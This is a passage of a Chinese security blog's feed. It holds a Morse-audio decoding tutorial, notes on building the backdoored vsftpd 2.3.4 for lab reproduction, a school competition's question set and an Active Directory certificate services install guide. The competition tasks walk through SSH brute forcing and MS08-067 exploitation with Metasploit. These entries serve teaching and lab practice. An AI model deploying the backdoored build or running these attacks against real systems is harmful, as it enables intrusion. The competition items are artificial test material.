class="hljs-number">1</span>)<br>    <span class="hljs-keyword">else</span>:<br>        morse_obj_sum[i] += <span class="hljs-number">1</span><br>        morse_len[<span class="hljs-built_in">len</span>(morse_type) - <span class="hljs-number">1</span>] += <span class="hljs-number">1</span><br><br><span class="hljs-comment"># 计算信息与空位的平均长度</span><br>morse_block_avg = morse_obj_sum[<span class="hljs-number">1</span>] / morse_obj_len[<span class="hljs-number">1</span>]<br>morse_blank_avg = morse_obj_sum[<span class="hljs-number">0</span>] / morse_obj_len[<span class="hljs-number">0</span>]<br></code></pre></td></tr></table></figure><p>与平均长度比较</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 转换为摩斯电码</span><br>morse_result = <span class="hljs-string">&quot;&quot;</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(morse_type)):<br>    <span class="hljs-keyword">if</span> morse_type[i] == <span class="hljs-number">1</span>:<br>        <span class="hljs-comment"># 大于平均长度为&quot;-&quot;</span><br>        <span class="hljs-keyword">if</span> morse_len[i] &gt; morse_block_avg:<br>            morse_result += <span class="hljs-string">&quot;-&quot;</span><br>        <span class="hljs-comment"># 小于平均长度即为&quot;.&quot;</span><br>        <span class="hljs-keyword">elif</span> morse_len[i] &lt; morse_block_avg:<br>            morse_result += <span class="hljs-string">&quot;.&quot;</span><br>    <span class="hljs-comment"># 大于平均空位长度的为分割</span><br>    <span class="hljs-keyword">elif</span> morse_type[i] == <span class="hljs-number">0</span>:<br>        <span class="hljs-keyword">if</span> morse_len[i] &gt; morse_blank_avg:<br>            morse_result += <span class="hljs-string">&quot;/&quot;</span><br></code></pre></td></tr></table></figure><h3 id="解码数据"><a href="#解码数据" class="headerlink" title="解码数据"></a>解码数据</h3><p>使用如下字典解码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs python">morse_dict = &#123;<br>    <span class="hljs-string">&#x27;.-&#x27;</span>: <span class="hljs-string">&#x27;A&#x27;</span>, <span class="hljs-string">&#x27;-...&#x27;</span>: <span class="hljs-string">&#x27;B&#x27;</span>, <span class="hljs-string">&#x27;-.-.&#x27;</span>: <span class="hljs-string">&#x27;C&#x27;</span>, <span class="hljs-string">&#x27;-..&#x27;</span>: <span class="hljs-string">&#x27;D&#x27;</span>, <span class="hljs-string">&#x27;.&#x27;</span>: <span class="hljs-string">&#x27;E&#x27;</span>, <span class="hljs-string">&#x27;..-.&#x27;</span>: <span class="hljs-string">&#x27;F&#x27;</span>,<br>    <span class="hljs-string">&#x27;--.&#x27;</span>: <span class="hljs-string">&#x27;G&#x27;</span>, <span class="hljs-string">&#x27;....&#x27;</span>: <span class="hljs-string">&#x27;H&#x27;</span>, <span class="hljs-string">&#x27;..&#x27;</span>: <span class="hljs-string">&#x27;I&#x27;</span>, <span class="hljs-string">&#x27;.---&#x27;</span>: <span class="hljs-string">&#x27;J&#x27;</span>, <span class="hljs-string">&#x27;-.-&#x27;</span>: <span class="hljs-string">&#x27;K&#x27;</span>, <span class="hljs-string">&#x27;.-..&#x27;</span>: <span class="hljs-string">&#x27;L&#x27;</span>,<br>    <span class="hljs-string">&#x27;--&#x27;</span>: <span class="hljs-string">&#x27;M&#x27;</span>, <span class="hljs-string">&#x27;-.&#x27;</span>: <span class="hljs-string">&#x27;N&#x27;</span>, <span class="hljs-string">&#x27;---&#x27;</span>: <span class="hljs-string">&#x27;O&#x27;</span>, <span class="hljs-string">&#x27;.--.&#x27;</span>: <span class="hljs-string">&#x27;P&#x27;</span>, <span class="hljs-string">&#x27;--.-&#x27;</span>: <span class="hljs-string">&#x27;Q&#x27;</span>, <span class="hljs-string">&#x27;.-.&#x27;</span>: <span class="hljs-string">&#x27;R&#x27;</span>,<br>    <span class="hljs-string">&#x27;...&#x27;</span>: <span class="hljs-string">&#x27;S&#x27;</span>, <span class="hljs-string">&#x27;-&#x27;</span>: <span class="hljs-string">&#x27;T&#x27;</span>, <span class="hljs-string">&#x27;..-&#x27;</span>: <span class="hljs-string">&#x27;U&#x27;</span>, <span class="hljs-string">&#x27;...-&#x27;</span>: <span class="hljs-string">&#x27;V&#x27;</span>, <span class="hljs-string">&#x27;.--&#x27;</span>: <span class="hljs-string">&#x27;W&#x27;</span>, <span class="hljs-string">&#x27;-..-&#x27;</span>: <span class="hljs-string">&#x27;X&#x27;</span>,<br>    <span class="hljs-string">&#x27;-.--&#x27;</span>: <span class="hljs-string">&#x27;Y&#x27;</span>, <span class="hljs-string">&#x27;--..&#x27;</span>: <span class="hljs-string">&#x27;Z&#x27;</span>,<br><br>    <span class="hljs-string">&#x27;.----&#x27;</span>: <span class="hljs-string">&#x27;1&#x27;</span>, <span class="hljs-string">&#x27;..---&#x27;</span>: <span class="hljs-string">&#x27;2&#x27;</span>, <span class="hljs-string">&#x27;...--&#x27;</span>: <span class="hljs-string">&#x27;3&#x27;</span>, <span class="hljs-string">&#x27;....-&#x27;</span>: <span class="hljs-string">&#x27;4&#x27;</span>, <span class="hljs-string">&#x27;.....&#x27;</span>: <span class="hljs-string">&#x27;5&#x27;</span>,<br>    <span class="hljs-string">&#x27;-....&#x27;</span>: <span class="hljs-string">&#x27;6&#x27;</span>, <span class="hljs-string">&#x27;--...&#x27;</span>: <span class="hljs-string">&#x27;7&#x27;</span>, <span class="hljs-string">&#x27;---..&#x27;</span>: <span class="hljs-string">&#x27;8&#x27;</span>, <span class="hljs-string">&#x27;----.&#x27;</span>: <span class="hljs-string">&#x27;9&#x27;</span>, <span class="hljs-string">&#x27;-----&#x27;</span>: <span class="hljs-string">&#x27;0&#x27;</span>,<br><br>    <span class="hljs-string">&#x27;.-.-.-&#x27;</span>: <span class="hljs-string">&#x27;.&#x27;</span>, <span class="hljs-string">&#x27;---...&#x27;</span>: <span class="hljs-string">&#x27;:&#x27;</span>, <span class="hljs-string">&#x27;--..--&#x27;</span>: <span class="hljs-string">&#x27;,&#x27;</span>, <span class="hljs-string">&#x27;-.-.-.&#x27;</span>: <span class="hljs-string">&#x27;;&#x27;</span>, <span class="hljs-string">&#x27;..--..&#x27;</span>: <span class="hljs-string">&#x27;?&#x27;</span>,<br>    <span class="hljs-string">&#x27;-...-&#x27;</span>: <span class="hljs-string">&#x27;=&#x27;</span>, <span class="hljs-string">&#x27;.----.&#x27;</span>: <span class="hljs-string">&#x27;\&#x27;&#x27;</span>, <span class="hljs-string">&#x27;-..-.&#x27;</span>: <span class="hljs-string">&#x27;/&#x27;</span>, <span class="hljs-string">&#x27;-.-.--&#x27;</span>: <span class="hljs-string">&#x27;!&#x27;</span>, <span class="hljs-string">&#x27;-....-&#x27;</span>: <span class="hljs-string">&#x27;-&#x27;</span>,<br>    <span class="hljs-string">&#x27;..--.-&#x27;</span>: <span class="hljs-string">&#x27;_&#x27;</span>, <span class="hljs-string">&#x27;.-..-.&#x27;</span>: <span class="hljs-string">&#x27;&quot;&#x27;</span>, <span class="hljs-string">&#x27;-.--.&#x27;</span>: <span class="hljs-string">&#x27;(&#x27;</span>, <span class="hljs-string">&#x27;-.--.-&#x27;</span>: <span class="hljs-string">&#x27;)&#x27;</span>, <span class="hljs-string">&#x27;...-..-&#x27;</span>: <span class="hljs-string">&#x27;$&#x27;</span>,<br>    <span class="hljs-string">&#x27;.--.-.&#x27;</span>: <span class="hljs-string">&#x27;@&#x27;</span><br>&#125;<br></code></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 摩斯电码解码</span><br>morse_array = morse_result.split(<span class="hljs-string">&quot;/&quot;</span>)<br>plain_text = <span class="hljs-string">&quot;&quot;</span><br><span class="hljs-keyword">for</span> morse <span class="hljs-keyword">in</span> morse_array:<br>    plain_text += morse_dict[morse]<br></code></pre></td></tr></table></figure><p><code>plain_text</code> 变量中即为解码后的数据</p><h2 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h2><p class='item-img' data-src='https://s2.loli.net/2023/08/19/SQj3PvnwyVBrdX5.png'><img src="https://s2.loli.net/2023/08/19/SQj3PvnwyVBrdX5.png" alt="analyze-morse-code-from-audio_04.png"></p><blockquote><p>参考：<br><a href="https://blog.csdn.net/Rabbit_Gray/article/details/106177458">利用python自动解析摩斯电码音频文件_如何从音频中提取摩斯密码_Rabbit_Gray的博客-CSDN博客</a><br><a href="https://blog.csdn.net/weixin_42600072/article/details/116483519">使用Python绘制语音信号的波形图_python画信号图_进击的小杨人的博客-CSDN博客</a><br><a href="https://blog.csdn.net/RONE321/article/details/102370195">Python 波形处理_Rone-X的博客-CSDN博客</a></p></blockquote>]]>
    </content>
    <id>https://blog.moling.ink/articles/analyze-morse-code-from-audio/</id>
    <link href="https://blog.moling.ink/articles/analyze-morse-code-from-audio/"/>
    <published>2023-08-19T19:45:22.000Z</published>
    <summary>详细讲解如何使用 Python 的 wave、numpy、pylab 等库从音频文件中自动提取摩斯密码的算法原理与实现过程,包括音频载入、频谱分析、长短信号识别、摩斯电码解码等完整流程,附带开源工具 MorseAudioDecoder</summary>
    <title>使用 Python 从音频中提取摩斯密码</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="环境搭建" scheme="https://blog.moling.ink/tags/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    <category term="漏洞复现" scheme="https://blog.moling.ink/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    <content>
      <![CDATA[<h2 id="系统信息"><a href="#系统信息" class="headerlink" title="系统信息"></a><code>系统信息</code></h2><p>操作系统:</p><p>CentOS 7 x86_64</p><p>Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU&#x2F;Linux</p><h2 id="构建"><a href="#构建" class="headerlink" title="构建"></a><code>构建</code></h2><ul><li><p>在 <a href="https://github.com/Malpl3naInk/vsftpd-2.3.4-infected">此处</a> 克隆 vsftpd-2.3.4 的源代码</p></li><li><p>修改 <code>builddefs.h</code></p></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">#define VSF_BUILD_TCPWRAPPERS<br>#define VSF_BUILD_PAM<br>#define VSF_BUILD_SSL<br></code></pre></td></tr></table></figure><ul><li>安装依赖</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">yum install libcap-devel pam-devel<br></code></pre></td></tr></table></figure><ul><li>构建</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">make<br></code></pre></td></tr></table></figure><h2 id="运行"><a href="#运行" class="headerlink" title="运行"></a><code>运行</code></h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">./vsftpd ./vsftpd.conf<br></code></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.moling.ink/articles/build-vsftpd-2.3.4-infected/</id>
    <link href="https://blog.moling.ink/articles/build-vsftpd-2.3.4-infected/"/>
    <published>2023-04-17T13:43:05.000Z</published>
    <summary>详细记录在 CentOS 7 系统上从源码编译构建 vsftpd-2.3.4 infected 后门版本的完整流程,包括依赖安装、编译配置及运行步骤,用于漏洞复现和渗透测试学习</summary>
    <title>构建 vsftpd-2.3.4</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="赛题" scheme="https://blog.moling.ink/tags/%E8%B5%9B%E9%A2%98/"/>
    <content>
      <![CDATA[<blockquote><p>注:<br>该文档仅包含赛题</p></blockquote><h2 id="模块A"><a href="#模块A" class="headerlink" title="模块A"></a>模块A</h2><h3 id="A-1：登录安全加固"><a href="#A-1：登录安全加固" class="headerlink" title="A-1：登录安全加固"></a>A-1：登录安全加固</h3><p>请对服务器Web按要求进行相应的设置，提高服务器的安全性。</p><ol><li><p>密码策略（Web）</p><p> a. 最小密码长度不少于8个字符，将密码长度最小值的属性配置界面截图；</p><p> b.密码策略必须同时满足大小写字母、数字、特殊字符，将密码必须符合复杂性要求的属性配置界面截图。</p></li><li><p>登录策略（Web）</p><p> a.在用户登录系统时，应该有“For authorized users only”提示信息，将登录系统时系统弹出警告信息窗口截图；</p><p> b.一分钟内仅允许5次登录失败的尝试，超过5次，登录帐号锁定1分钟，将账户锁定策略配置界面截图；</p><p> c.远程用户非活动会话连接超时应小于等于5分钟，将RDP-Tcp属性对应的配置界面截图。</p></li><li><p>用户安全管理(Web)</p><p> a.对服务器进行远程管理安全性SSL加固，防止敏感信息泄露被监听，将RDP-Tcp属性对应的配置界面截图；</p><p> b.仅允许超级管理员账号关闭系统，将关闭系统属性的配置界面截图。</p></li></ol><h3 id="A-2：Web安全加固-Web"><a href="#A-2：Web安全加固-Web" class="headerlink" title="A-2：Web安全加固(Web)"></a>A-2：Web安全加固(Web)</h3><ol><li><p>为了防止web中.mdb数据库文件非法下载，请对Web配置文件进行安全加固，将C:\Windows\System32\inetsrv\config\applicationHost配置文件中对应的部分截图；</p></li><li><p>限制目录执行权限,对picture和upload目录设置执行权限为无，将编辑功能权限的配置界面截图；</p></li><li><p>开启IIS的日志审计记录(日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、方法)，将W3C日志记录字段的配置界面截图；</p></li><li><p>为了减轻网站负载，设置网站最大并发连接数为1000，将编辑网站限制的配置界面截图；</p></li><li><p>防止文件枚举漏洞枚举网络服务器根目录文件，禁止IIS短文件名泄露，将配置命令截图；</p></li><li><p>关闭IIS的WebDAV功能增强网站的安全性，将警报提示信息截图。</p></li></ol><h3 id="A-3：流量完整性保护与事件监控（Web-Log）"><a href="#A-3：流量完整性保护与事件监控（Web-Log）" class="headerlink" title="A-3：流量完整性保护与事件监控（Web,Log）"></a>A-3：流量完整性保护与事件监控（Web,Log）</h3><ol><li><p>为了防止密码在登录或者传输信息时被窃取，仅使用证书登录SSH（Log），将&#x2F;etc&#x2F;ssh&#x2F;sshd_config配置文件中对应的部分截图； </p></li><li><p>将Web服务器开启审核策略</p><p> 登录事件 成功&#x2F;失败;</p><p> 特权使用 成功;</p><p> 策略更改 成功&#x2F;失败;</p><p> 进程跟踪 成功&#x2F;失败;</p><p> 将审核策略的配置界面截图；</p></li><li><p>配置Splunk接收Web服务器，安全日志，系统日志，CPU负载，内存，磁盘空间，网络状态。将转发器：部署成功的页面截图。</p></li></ol><h3 id="A-4：防火墙策略"><a href="#A-4：防火墙策略" class="headerlink" title="A-4：防火墙策略"></a>A-4：防火墙策略</h3><p>所有服务器开启防火墙,为防止勒索病毒攻击对防火墙进行加固策略：</p><ol><li><p>Windows系统禁用445端口，将防火墙入站规则截图；</p></li><li><p>Linux系统禁用23端口，将iptables配置命令截图；</p></li><li><p>Linux系统禁止别人ping通，将iptables配置命令截图；</p></li><li><p>Linux系统为确保安全禁止所有人连接SSH除了172.16.1.1这个ip，将iptables配置命令截图。</p></li></ol><h2 id="模块B"><a href="#模块B" class="headerlink" title="模块B"></a>模块B</h2><h3 id="B-1：SSH弱口令渗透测试"><a href="#B-1：SSH弱口令渗透测试" class="headerlink" title="B-1：SSH弱口令渗透测试"></a>B-1：SSH弱口令渗透测试</h3><ol><li><p>在本地PC渗透测试平台Kali中使用zenmap工具扫描服务器场景Linux所在网段(例如：172.16.101.0&#x2F;24)范围内存活的主机IP地址和指定开放的21、22、23端口。并将该操作使用的命令中必须的字符串作为FLAG提交（忽略ip地址）</p></li><li><p>通过本地PC中渗透测试平台Kali对服务器场景Linux进行系统服务及版本扫描渗透测试，并将该操作显示结果中SSH服务对应的服务端口信息作为FLAG提交</p></li><li><p>在本地PC渗透测试平台Kali中使用MSF模块对其爆破，使用search命令，并将扫描弱口令模块的名称信息作为FLAG提交</p></li><li><p>在上一题的基础上使用命令调用该模块，并查看需要配置的信息（使用show options命令），将回显中需要配置的目标地址，密码使用的猜解字典，线程，账户配置参数的字段作为FLAG提交（之间以英文逗号分隔，例hello，test，……）</p></li><li><p>在MSF模块中配置目标靶机IP地址，将配置命令中的前两个单词作为FLAG提交</p></li><li><p>在MSF模块中指定密码字典，字典路径为桌面tools文件夹2.txt，用户名为test爆破获取密码并将得到的密码作为FLAG提交</p></li><li><p>在上一题的基础上，使用第6题获取到的密码SSH到靶机，将test用户家目录中唯一一个后缀为.bmp图片的文件名的字符串作为FLAG提交</p></li></ol><h3 id="B-2：数字分析数字取证"><a href="#B-2：数字分析数字取证" class="headerlink" title="B-2：数字分析数字取证"></a>B-2：数字分析数字取证</h3><ol><li><p>访问靶机FTP服务，下载attack.pcapng数据包文件，通过分析数据包attack.pcapng找出恶意用户的IP地址，并将恶意用户的IP地址作为FLAG（形式：[IP地址]）提交</p></li><li><p>继续查看数据包文件attack.pcapng，分析出恶意用户扫描了那些端口，并将全部的端口作为FLAG（形式：[端口名1，端口名2，端口名3……端口名n]）从低到高提交</p></li><li><p>继续查看数据包文件attack.pcapng分析出恶意用户最终获得的用户名是什么，并将用户名作为FLAG（形式：[用户名]）提交</p></li><li><p>继续查看数据包文件attack.pcapng分析出恶意用户最终获得的密码是什么，并将密码作为FLAG（形式：[密码]）提交</p></li><li><p>继续查看数据包文件attack.pcapng分析出恶意用户连接一句话木马的密码是什么，并将一句话密码作为FLAG（形式：[一句话密码]）提交</p></li><li><p>继续查看数据包文件attack.pcapng分析出恶意用户下载了什么文件，并将文件名及后缀作为FLAG（形式：[文件名。后缀名]）提交</p></li><li><p>继续查看数据包文件attack.pcapng将恶意用户下载的文件里面的内容作为FLAG（形式：[文件内容]）提交</p></li></ol><h3 id="B-3：漏洞扫描与利用"><a href="#B-3：漏洞扫描与利用" class="headerlink" title="B-3：漏洞扫描与利用"></a>B-3：漏洞扫描与利用</h3><ol><li><p>通过本地PC中渗透测试平台Kali对服务器场景server2008以半开放式不进行ping的扫描方式并配合a，要求扫描信息输出格式为xml文件格式，从生成扫描结果获取局域网（例如172.16.101.0&#x2F;24）中存活靶机，以xml格式向指定文件输出信息（使用工具NMAP，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为FLAG提交（各参数之间用英文逗号分割，例a,b,c,d）</p></li><li><p>根据第一题扫描的回显信息分析靶机操作系统版本信息，将操作系统版本信息作为FLAG提交</p></li><li><p>根据第一题扫描的回显信息分析靶机开放端口，分析开放的服务，并将共享服务的开放状态作为FLAG提交</p></li><li><p>在本地PC的渗透测试平台Kali中，使用命令初始化msf数据库，并将使用的命令作为FLAG提交</p></li><li><p>在本地PC的渗透测试平台Kali中，打开msf，使用db_import将扫描结果导入到数据库中，并查看导入的数据，将查看导入的数据要使用的命令作为FLAG提交</p></li><li><p>在msfconsole使用search命令搜索MS08067漏洞攻击程序，并将回显结果中的漏洞时间作为FLAG提交</p></li><li><p>在msfconsole中利用MS08067漏洞攻击模块，将调用此模块的命令作为FLAG提交</p></li><li><p>在上一步的基础上查看需要设置的选项，并将回显中需设置的选项名作为FLAG提交</p></li><li><p>使用set命令设置目标IP（在第8步的基础上），并检测漏洞是否存在，将回显结果中最后四个单词作为FLAG提交</p></li><li><p>   查看可选项中存在此漏洞的系统版本，判断该靶机是否有次漏洞，若有，将存在此漏洞的系统版本序号作为FLAG提交，否则FLAG为none</p></li></ol><h3 id="B-4：Web安全之综合渗透测试"><a href="#B-4：Web安全之综合渗透测试" class="headerlink" title="B-4：Web安全之综合渗透测试"></a>B-4：Web安全之综合渗透测试</h3><ol><li><p>通过URL访问http:&#x2F;&#x2F;靶机IP&#x2F;1，对该页面进行渗透测试，将完成后返回的结果作为FLAG值提交</p></li><li><p>通过URL访问http:&#x2F;&#x2F;靶机IP&#x2F;2，对该页面进行渗透测试，将完成后返回的结果作为FLAG值提交</p></li><li><p>通过URL访问http:&#x2F;&#x2F;靶机IP&#x2F;3，对该页面进行渗透测试，将完成后返回的结果作为FLAG值提交</p></li><li><p>通过URL访问http:&#x2F;&#x2F;靶机IP&#x2F;4，对该页面进行渗透测试，将完成后返回的结果作为FLAG值提交</p></li><li><p>通过URL访问http:&#x2F;&#x2F;靶机IP&#x2F;5，对该页面进行渗透测试，将完成后返回的结果作为FLAG值提交</p></li><li><p>通过URL访问http:&#x2F;&#x2F;靶机IP&#x2F;6，对该页面进行渗透测试，将完成后返回的结果作为FLAG值提交</p></li></ol>]]>
    </content>
    <id>https://blog.moling.ink/articles/7th-Jiaxing-vocational-skill-competition/</id>
    <link href="https://blog.moling.ink/articles/7th-Jiaxing-vocational-skill-competition/"/>
    <published>2022-11-09T13:53:21.000Z</published>
    <summary>完整收录嘉兴市第七届中等职业学校技能节网络安全赛项的全部赛题内容,涵盖 A 模块系统安全加固(登录策略、密码策略、IIS 加固、防火墙配置、Splunk 部署)和 B 模块渗透测试(SSH 弱口令爆破、数据包取证、Nmap 扫描、Metasploit 漏洞利用、Web 综合渗透)等任务</summary>
    <title>嘉兴市第七届中等职业学校技能节-网络安全赛项 赛题</title>
    <updated>2026-03-24T07:16:31.684Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="环境搭建" scheme="https://blog.moling.ink/tags/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    <category term="Windows Server" scheme="https://blog.moling.ink/tags/Windows-Server/"/>
    <category term="Active Directory" scheme="https://blog.moling.ink/tags/Active-Directory/"/>
    <content>
      <![CDATA[<h2 id="系统信息"><a href="#系统信息" class="headerlink" title="系统信息"></a><code>系统信息</code></h2><p>操作系统:</p><p>Windows Server 2008 R2 Datacenter x64</p><p>下载:</p><p><a href="ed2k://|file|cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_vl_build_x64_dvd_617396.iso|3368962048|7C210CAC37A05F459758BCC1F4478F9E|/">ed2k</a></p><h2 id="安装-Active-Directory-域服务"><a href="#安装-Active-Directory-域服务" class="headerlink" title="安装 Active Directory 域服务"></a><code>安装 Active Directory 域服务</code></h2><ul><li><p>在 <code>服务器管理器</code> 中选择 <code>添加角色</code></p></li><li><p>勾选 <code>Active Directory 域服务</code> , 在 <code>添加角色向导</code> 中点击 <code>添加必须的功能</code></p></li></ul><p class='item-img' data-src='https://s2.loli.net/2023/03/28/VYTAPkO3SgBaqie.jpg'><img src="https://s2.loli.net/2023/03/28/VYTAPkO3SgBaqie.jpg" alt="AD-CS-Install-Tutorial_01.jpg"></p><ul><li>点击 <code>安装</code> 按钮完成Active Directory 域服务的安装, 安装完成后点击 <code>关闭该向导并启动 Active Directory 域服务 安装向导(dcpromo.exe)</code></li></ul><p class='item-img' data-src='https://s2.loli.net/2023/03/28/85ivBYXm2QlbARx.jpg'><img src="https://s2.loli.net/2023/03/28/85ivBYXm2QlbARx.jpg" alt="AD-CS-Install-Tutorial_02.jpg"></p><ul><li>选中 <code>在林中新建域</code> , 点击 <code>下一步</code></li></ul><blockquote><p>如果出现如图所示的错误, 需要在控制面板中给 <code>Administrator</code> 账户设置密码</p><p class='item-img' data-src='https://s2.loli.net/2023/03/28/sw5Df4ep1hRXM9n.jpg'><img src="https://s2.loli.net/2023/03/28/sw5Df4ep1hRXM9n.jpg" alt="AD-CS-Install-Tutorial_03.jpg"></p></blockquote><ul><li><p>在 <code>命名林根域</code> 页面中输入根域的名字, 在接下来的 <code>设置林功能级别</code> 页面中设置基本为 <code>Windows Server 2008 R2</code></p></li><li><p>如果提示静态IP分配, 则按照需求选择选项. 此处选择 <code>是</code></p></li></ul><p class='item-img' data-src='https://s2.loli.net/2023/03/28/fGAuqmjVD8HZzgF.jpg'><img src="https://s2.loli.net/2023/03/28/fGAuqmjVD8HZzgF.jpg" alt="AD-CS-Install-Tutorial_04.jpg"></p><ul><li>提示 <code>无法创建该 DNS 服务器的委派</code> , 选择 <code>是</code></li></ul><p class='item-img' data-src='https://s2.loli.net/2023/03/28/6n8M2RcNHbTxaK1.jpg'><img src="https://s2.loli.net/2023/03/28/6n8M2RcNHbTxaK1.jpg" alt="AD-CS-Install-Tutorial_05.jpg"></p><ul><li>为 Administrator 分配密码</li></ul><p class='item-img' data-src='https://s2.loli.net/2023/03/28/qP7Ds9Nen2jvi46.jpg'><img src="https://s2.loli.net/2023/03/28/qP7Ds9Nen2jvi46.jpg" alt="AD-CS-Install-Tutorial_06.jpg"></p><ul><li>等待配置完成后, Active Directory 域服务 则已安装完毕</li></ul><h2 id="安装-Active-Directory-证书服务"><a href="#安装-Active-Directory-证书服务" class="headerlink" title="安装 Active Directory 证书服务"></a><code>安装 Active Directory 证书服务</code></h2><ul><li><p>上部分操作完成后, 显示需要重启, 选择 <code>立即重新启动</code></p></li><li><p>重新启动完成后，以管理员运行命令提示符并运行命令 <code>net group &quot;Domain Admins&quot; &lt;当前登录用户名&gt; /add</code></p></li><li><p>在 <code>添加角色向导</code> 中选中 <code>Active Directory 证书服务</code></p></li><li><p>在下一页中选中 <code>证书颁发机构 Web 注册</code></p></li><li><p><code>指定安装类型</code> 选择 <code>企业</code></p></li></ul><blockquote><p>在没有将当前用户添加到 <code>Domain Admins</code> 或 <code>Enterprise Admins</code> 用户组中时, <code>企业</code> 选项将无法选择</p></blockquote><ul><li><p>CA类型选择 <code>根CA</code>, <code>新建私钥</code> 并保持默认设置</p></li><li><p>完成安装后, 可以在 IIS 管理器 中 <code>Default Web Site</code> 网站中找到 <code>certsrv</code> 选项</p></li></ul><p class='item-img' data-src='https://s2.loli.net/2023/03/28/64fZloSHyYFuDma.jpg'><img src="https://s2.loli.net/2023/03/28/64fZloSHyYFuDma.jpg" alt="AD-CS-Install-Tutorial_07.jpg"></p><blockquote><h2 id="注意"><a href="#注意" class="headerlink" title="注意:"></a>注意:</h2><p>在访问证书签发的 Web 页面时需要使用 IP 地址进行访问, 并完成身份认证, 否则会出现以下错误信息</p><p class='item-img' data-src='https://s2.loli.net/2023/03/28/zKIWQyNC8UTZ76b.jpg'><img src="https://s2.loli.net/2023/03/28/zKIWQyNC8UTZ76b.jpg" alt="AD-CS-Install-Tutorial_08.jpg"></p><p>注: 使用 Windows 自带认证时可能出现无法登录的错误</p></blockquote>]]>
    </content>
    <id>https://blog.moling.ink/articles/AD-CS-Install-Tutorial/</id>
    <link href="https://blog.moling.ink/articles/AD-CS-Install-Tutorial/"/>
    <published>2022-05-21T21:41:58.000Z</published>
    <summary>图文详解在 Windows Server 2008 R2 上安装配置 Active Directory 域服务(AD DS)和证书服务(AD CS)的完整流程,包括域控制器部署、DNS 配置、企业 CA 安装及常见问题解决方案</summary>
    <title>安装 Active Directory 证书服务</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
</feed>
